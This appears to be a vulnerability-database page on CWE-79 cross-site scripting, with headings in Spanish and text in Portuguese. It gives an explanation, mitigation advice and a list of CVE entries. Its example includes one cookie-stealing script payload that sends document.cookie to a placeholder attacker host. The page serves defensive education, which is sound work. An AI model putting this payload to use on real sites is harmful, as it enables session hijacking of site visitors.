Fallos del tipo CWE-79

29.677 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-8563MEDIUMSourceCodester PHP CRUD update.php cross site scriptingEPSS 0.4%CVE-2024-26101MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2024-5375MEDIUMKashipara College Management System submit_student.php cross site scriptingEPSS 0.4%CVE-2024-50659MEDIUMCross Site Scripting vulnerability iPublish Media Solutions AdPortal 3.0.39 allows a remote attacker to escalate privileges via the shippingEPSS 0.4%CVE-2023-47239MEDIUMWordPress Easy PayPal Shopping Cart Plugin <= 1.1.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-5894LOWCross-site Scripting (XSS) - Stored in pkp/ojsEPSS 0.4%CVE-2024-4479MEDIUMJeg Elementor Kit <= 2.6.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via JKit - Tabs and JKit - Accordion WidgetsEPSS 0.4%CVE-2025-22131MEDIUMCross-Site Scripting (XSS) vulnerability in generateNavigation() functionEPSS 0.4%CVE-2024-40730MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2024-32334MEDIUMTOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in IP/Port Filtering under the Firewall PageEPSS 0.4%CVE-2025-55071MEDIUMA reflected cross-site scripting (xss) vulnerability exists in the modifyAnonymize functionality of MedDream PACS Premium 7.3.6.870. A speciEPSS 0.4%CVE-2024-54272MEDIUMWordPress Radius Blocks plugin <= 2.1.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-48765MEDIUMWordPress Email Address Encoder Plugin <= 1.0.22 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36453MEDIUMCross-site scripting vulnerability exists in session_login.cgi of Webmin versions prior to 1.970 and Usermin versions prior to 1.820. If thiEPSS 0.4%CVE-2024-40732HIGHA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2025-54852MEDIUMA reflected cross-site scripting (xss) vulnerability exists in the modifyAeTitle functionality of MedDream PACS Premium 7.3.6.870. A specialEPSS 0.4%CVE-2024-40734MEDIUMA cross-site scripting (XSS) vulnerability in netbox v4.0.3 allows attackers to execute arbitrary web scripts or HTML via a crafted payload EPSS 0.4%CVE-2024-10745MEDIUMPHPGurukul Online Shopping Portal deferred_table.php cross site scriptingEPSS 0.4%CVE-2024-51814MEDIUMWordPress 活动链接推广插件 plugin <= 1.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-7122MEDIUMElementor Addon Elements <= 1.13.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%